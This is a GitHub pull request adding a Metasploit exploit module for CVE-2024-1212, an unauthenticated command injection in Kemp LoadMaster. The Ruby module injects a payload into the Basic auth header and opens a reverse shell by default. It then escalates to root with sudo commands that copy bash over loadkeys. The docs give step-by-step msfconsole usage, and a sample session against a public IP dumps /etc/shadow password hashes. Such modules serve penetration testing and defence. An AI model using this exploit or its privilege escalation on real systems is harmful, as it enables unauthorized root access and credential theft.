Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Progress LoadMaster unauthenticated command injection module CVE-2024-1212 #18972

Merged
Show file tree
Hide file tree
Changes from 2 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
@@ -0,0 +1,88 @@
## Vulnerable Application
CVE-2024-1212: Progress Kemp LoadMaster Unauthenticated Command Injection

For more details on the vulnerability:
https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/

https://support.kemptechnologies.com/hc/en-us/articles/23878931058445-LoadMaster-Security-Vulnerability-CVE-2024-1212

A trial VM which the exploit should work against out of the box can be downloaded from:
https://sso.kemptechnologies.com/register/kemp/vlm

The AWS marketplace also has free trials which can be used. These require the "session management" to be enabled in order for the exploit to work. Since by default the admin WUI is behind basic auth.
https://aws.amazon.com/marketplace/pp/prodview-kgh3dsfk7qcnw

## Verification Steps
With privesc:
1. Install the application
1. Start msfconsole
1. Do: `use exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection`
1. Do: `set RHOSTS <target loadmaster>`
1. Do: `set RPORT <port loadmaster is running on>`
1. Do: `set LHOST <your host IP>`
1. Do: `run`
1. You should get a root shell.

Without privesc:
1. Install the application
1. Start msfconsole
1. Do: `use exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection`
1. Do: `set PRIVESC false`
1. Do: `set RHOSTS <target loadmaster>`
1. Do: `set RPORT <port loadmaster is running on>`
1. Do: `set LHOST <your host IP>`
1. Do: `run`
1. You should get a shell as the "bal" user.

## Options
The only non-stanard option is PRIVESC.

### PRIVESC

This defaults to true. This enables or disables the use of an automatic privesc from the default "bal" user to root.

## Scenarios

### LoadMaster 7.2.59.0.22007

```
msf6 > use exploit/linux/http/progress_kemp_loadmaster_unauth_cmd_injection
[*] Using configured payload cmd/linux/https/x64/shell/reverse_tcp
msf6 exploit(linux/http/progress_kemp_loadmaster_unauth_cmd_injection) > set RPORT 8443
RPORT => 8443
msf6 exploit(linux/http/progress_kemp_loadmaster_unauth_cmd_injection) > set RHOSTS 18.207.251.125
RHOSTS => 18.207.251.125
msf6 exploit(linux/http/progress_kemp_loadmaster_unauth_cmd_injection) > set LHOST ******
LHOST => ******
msf6 exploit(linux/http/progress_kemp_loadmaster_unauth_cmd_injection) > exploit

[*] Started reverse TCP handler on *****:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 18.207.251.125:8443 is vulnerable...
[+] The target is vulnerable.
[*] Sending payload...
[*] Sending stage (38 bytes) to 18.207.251.125
[*] Sending stage (38 bytes) to 18.207.251.125
[*] Executing privilege escalation command...
[-] Detected a session initiated too close to the first session. Terminating it.
[*] 18.207.251.125 - Command shell session 2 closed.
[*] Executing privilege escalation command...
[*] Command shell session 2 opened (*****:4444 -> 18.207.251.125:12652) at 2024-03-18 18:34:50 +0000

[-] Invalid session identifier: 2
msf6 exploit(linux/http/progress_kemp_loadmaster_unauth_cmd_injection) > sessions -i 1
[*] Starting interaction with 1...

[*] Command shell session 1 opened (*****:4444 -> 18.207.251.125:12648) at 2024-03-18 18:35:10 +0000
cat /.mnt/patch_name /etc/shadow
7.2.59.0.22007.RELEASE
root:*:11449:0:10000::::
bin:*:8902:0:10000::::
daemon:*:8902:0:10000::::
nobody:*:0:0:10000::::
sshd:*:0:0:10000::::
bal:$6$9WGRyJ3L$2NojfaoGsP5y7xS/SzvDTfic4Q9VHcKUHWnFKv9GWraldWgKQUc/t8kNQFPh7axajQQLX1GU29K46yiwkd3v.0:11564:0:10000::::
pwreset:vhQQ3AdHBais2:11564:0:10000::::
hsync:*:11564:0:10000::::
xroot:*:11449:1000:10000::::
```
@@ -0,0 +1,135 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Kemp LoadMaster Unauthenticated Command Injection',
'Description' => %q{
This module exploits an unauthenticated command injection vulnerability in
Progress Kemp LoadMaster in the authroization header.
},
'Author' => [
'Dave Yesland with Rhino Security Labs',
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2024-1212'],
['URL', 'https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/'],
['URL', 'https://kemptechnologies.com/kemp-load-balancers']
],
'DisclosureDate' => '2024-03-19',
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK],
'Reliability' => [ REPEATABLE_SESSION ]
},
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_X86, ARCH_X64],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
'Arch' => [ARCH_X86, ARCH_X64],
'Arch' => [ARCH_CMD],

'Targets' => [['Automatic', {}]],
'Privileged' => false,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/https/x64/shell/reverse_tcp',
'SSL' => true,
'RPORT' => 443
},
'Payload' => {
'BadChars' => "\x3a\x27"
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'The URI path to LoadMaster', '/']),
OptBool.new('PRIVESC', [true, 'Automatically try privesc to add sudo entry', true])
])

@first_session_timestamp = nil
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This will be nil in Ruby already, even if not already set.

Suggested change
@first_session_timestamp = nil

end

def exploit
uri = normalize_uri(target_uri.path, 'access', 'set')

print_status('Sending payload...')

send_request_cgi({
'method' => 'GET',
'uri' => uri,
'vars_get' =>
{
'param' => 'enableapi',
'value' => '1'
},
'authorization' => basic_auth("';#{payload.encoded};echo '", 'anything'),
'verify' => false
})
end

def on_new_session(session)
# Kill the session if it was initiated too close to the first session
# This command injection tends to execute twice, so we want to kill
# the second session. Probably a better way to do this but I don't know it.
super
current_time = Time.now.to_i
if @first_session_timestamp.nil?
@first_session_timestamp = current_time
elsif current_time - @first_session_timestamp < 5
print_error('Detected a session initiated too close to the first session. Terminating it.')
session.kill
end

# Run privesc commands if PRIVESC is set to true
if datastore['PRIVESC']
execute_privesc_command(session)
else
print_status('Privilege escalation skipped.')
end
end
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We should potentially look at doing this with a flag on the target. @bwatters-r7 may be able to provide more context here.


def execute_privesc_command(session)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is likely not going to work with a Meterpreter session, so let me get a target up and see if I can give you a more specific way it make it work on all payloads.

print_status('Executing privilege escalation command...')
session.shell_command('sudo /bin/cp /bin/loadkeys /tmp/loadkeys')
session.shell_command('sudo /bin/cp /bin/bash /bin/loadkeys')
session.shell_command('sudo /bin/loadkeys -c /bin/bash')
session.shell_command('cp /tmp/loadkeys /bin/loadkeys')
end

def check
print_status("Checking if #{peer} is vulnerable...")

uri = normalize_uri(target_uri.path, 'access', 'set')

res = send_request_cgi({
'method' => 'GET',
'uri' => uri,
'vars_get' => {
'param' => 'enableapi',
'value' => '1'
},
'authorization' => basic_auth("'", 'anything'),
'verify' => false
})

# No response from server
unless res
return CheckCode::Unknown
end

# Check for specific error pattern in headers or body to confirm vulnerability
if res.headers.to_s.include?('unexpected EOF while looking for matching') || res.body.include?('unexpected EOF while looking for matching')
return CheckCode::Vulnerable
else
return CheckCode::Safe
end
end

end